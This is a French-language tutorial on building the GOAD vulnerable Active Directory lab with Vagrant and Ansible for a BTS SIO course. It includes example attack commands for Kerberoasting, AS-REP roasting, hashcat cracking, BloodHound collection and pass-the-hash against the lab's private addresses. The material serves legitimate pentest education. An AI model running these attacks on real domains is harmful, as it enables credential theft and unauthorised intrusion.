AVERTISSEMENT ÉTHIQUE ET LÉGAL
GOAD est un laboratoire de pentest strictement pédagogique. Toute utilisation en dehors d'un cadre éducatif contrôlé est interdite. Usage uniquement sur infrastructure dédiée (VirtualBox/VMware).
GOAD est un laboratoire de pentest strictement pédagogique. Toute utilisation en dehors d'un cadre éducatif contrôlé est interdite. Usage uniquement sur infrastructure dédiée (VirtualBox/VMware).
Objectif
Déployer un environnement Active Directory vulnérable (GOAD) pour apprendre les techniques d'audit et de pentest sur infrastructure Windows (OSCP/CRTE).
Prérequis
- Machine hôte avec 16 Go RAM minimum
- VirtualBox 7.0+ ou VMware Workstation
- Ansible installé (Linux/WSL)
- Vagrant installé
- 250 Go d'espace disque libre
Architecture GOAD
5 VMs Windows Server
- DC01 (192.168.56.10) : Contrôleur de domaine NORTH.SEVENKINGDOMS.LOCAL
- DC02 (192.168.56.11) : Contrôleur de domaine SEVENKINGDOMS.LOCAL
- DC03 (192.168.56.12) : Contrôleur de domaine ESSOS.LOCAL
- SRV02 (192.168.56.22) : Serveur membre avec MSSQL
- SRV03 (192.168.56.23) : Serveur membre avec IIS/SMB
Vulnérabilités intégrées
- Kerberoasting
- AS-REP Roasting
- Golden Ticket / Silver Ticket
- DCSync
- Relais NTLM
- Escalade de privilèges via GPO
- Pass-the-Hash / Pass-the-Ticket
- Unconstrained / Constrained Delegation
Installation depuis WSL2 (Windows)
Étape 1 : Installation des dépendances
# Mise à jour WSL2 Ubuntu sudo apt update && sudo apt upgrade -y # Installation Ansible sudo apt install -y ansible python3-pip git # Installation de pywinrm (requis pour Ansible → Windows) pip3 install pywinrm # Vérification ansible --version
Étape 2 : Installation de Vagrant
# Télécharger Vagrant pour Linux wget https://releases.hashicorp.com/vagrant/2.4.1/vagrant_2.4.1-1_amd64.deb # Installer sudo dpkg -i vagrant_2.4.1-1_amd64.deb # Vérifier vagrant --version
Étape 3 : Installation VirtualBox sur Windows
- Télécharger VirtualBox 7.0+ depuis virtualbox.org
- Installer sur Windows (pas dans WSL)
- Installer le pack d'extension VirtualBox
Étape 4 : Cloner GOAD depuis WSL
cd ~ git clone https://github.com/Orange-Cyberdefense/GOAD.git cd GOAD
Étape 5 : Configuration Vagrant pour VirtualBox
# Ajouter le plugin Vagrant VirtualBox vagrant plugin install vagrant-vbguest vagrant plugin install vagrant-reload # Configurer Vagrant pour utiliser VirtualBox Windows export VAGRANT_WSL_ENABLE_WINDOWS_ACCESS="1" export VAGRANT_WSL_WINDOWS_ACCESS_USER_HOME_PATH="/mnt/c/Users/VotreNomUtilisateur"
Étape 6 : Déploiement des VMs
cd ~/GOAD/ad/GOAD/providers/virtualbox
# Lancer la création des 5 VMs (durée : 30-60 min)
vagrant up
Info : Les VMs Windows Server sont téléchargées automatiquement depuis Vagrant Cloud (boxes Windows Server 2016/2019).
Étape 7 : Provisioning Ansible
cd ~/GOAD/ansible # Installation des collections Ansible requises ansible-galaxy install -r requirements.yml # Lancer le provisioning (configuration AD + vulnérabilités) ansible-playbook -i ../ad/GOAD/data/inventory -i ../ad/GOAD/providers/virtualbox/inventory main.yml
Durée totale : 1h30 à 2h selon la machine hôte.
Vérification du Lab
Test de connectivité
# Depuis votre machine Kali/Parrot (sur même réseau 192.168.56.0/24)
ping 192.168.56.10
ping 192.168.56.11
ping 192.168.56.12
Énumération AD avec CrackMapExec
# Installation CME sudo apt install crackmapexec -y # Scan du réseau crackmapexec smb 192.168.56.0/24 # Test authentification (creds par défaut GOAD) crackmapexec smb 192.168.56.10 -u 'vagrant' -p 'vagrant'
Énumération LDAP
ldapsearch -x -H ldap://192.168.56.10 -D "[email protected]" -w 'vagrant' -b "dc=north,dc=sevenkingdoms,dc=local"
Scénarios d'Attaque (Exemples Pédagogiques)
1. Kerberoasting avec Impacket
# Récupérer les hashes Kerberos TGS GetUserSPNs.py -request -dc-ip 192.168.56.10 north.sevenkingdoms.local/vagrant:vagrant # Cracker avec hashcat hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
2. AS-REP Roasting
# Rechercher comptes sans pre-auth Kerberos GetNPUsers.py north.sevenkingdoms.local/ -dc-ip 192.168.56.10 -usersfile users.txt -format hashcat # Cracker hashcat -m 18200 asrep.txt rockyou.txt
3. BloodHound - Analyse de chemins d'attaque
# Installation BloodHound sudo apt install bloodhound neo4j -y # Collection de données avec SharpHound bloodhound-python -d north.sevenkingdoms.local -u vagrant -p vagrant -dc DC01.north.sevenkingdoms.local -c All # Lancer neo4j + BloodHound sudo neo4j console bloodhound
4. Pass-the-Hash avec CrackMapExec
# Après dump de hashes NTLM
crackmapexec smb 192.168.56.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Gestion du Lab
Commandes Vagrant utiles
# Vérifier l'état des VMs vagrant status # Arrêter toutes les VMs vagrant halt # Démarrer toutes les VMs vagrant up # Supprimer complètement le lab vagrant destroy -f # Redéployer depuis zéro vagrant up --provision
Snapshots VirtualBox
Créer un snapshot après installation complète :
- Ouvrir VirtualBox GUI
- Sélectionner chaque VM GOAD
- Machine → Prendre un instantané
- Nom : "GOAD_Clean_Install"
Permet de restaurer le lab en état neuf après exercices.
Points Clés pour l'Oral BTS
- GOAD : environnement AD vulnérable pour formation pentest
- Usage éthique : jamais sur infrastructure réelle sans autorisation
- Kerberoasting : exploitation des SPN pour récupérer hashes TGS
- AS-REP Roasting : exploitation comptes sans pré-authentification
- BloodHound : outil de cartographie des chemins d'attaque AD
- Pass-the-Hash : authentification avec hash NTLM sans mot de passe
- DCSync : réplication de l'annuaire AD pour dump de tous les hashes
- Golden Ticket : création de ticket Kerberos TGT forgé (krbtgt hash)
- Vagrant + Ansible : automatisation du déploiement d'infrastructures
RAPPEL LÉGAL
Ces techniques sont présentées dans un cadre pédagogique BTS SIO SISR. Leur utilisation en conditions réelles sans autorisation écrite constitue un délit pénal (Code pénal art. 323-1 à 323-7). Sanctions : jusqu'à 5 ans de prison + 150 000 € d'amende.
Ces techniques sont présentées dans un cadre pédagogique BTS SIO SISR. Leur utilisation en conditions réelles sans autorisation écrite constitue un délit pénal (Code pénal art. 323-1 à 323-7). Sanctions : jusqu'à 5 ans de prison + 150 000 € d'amende.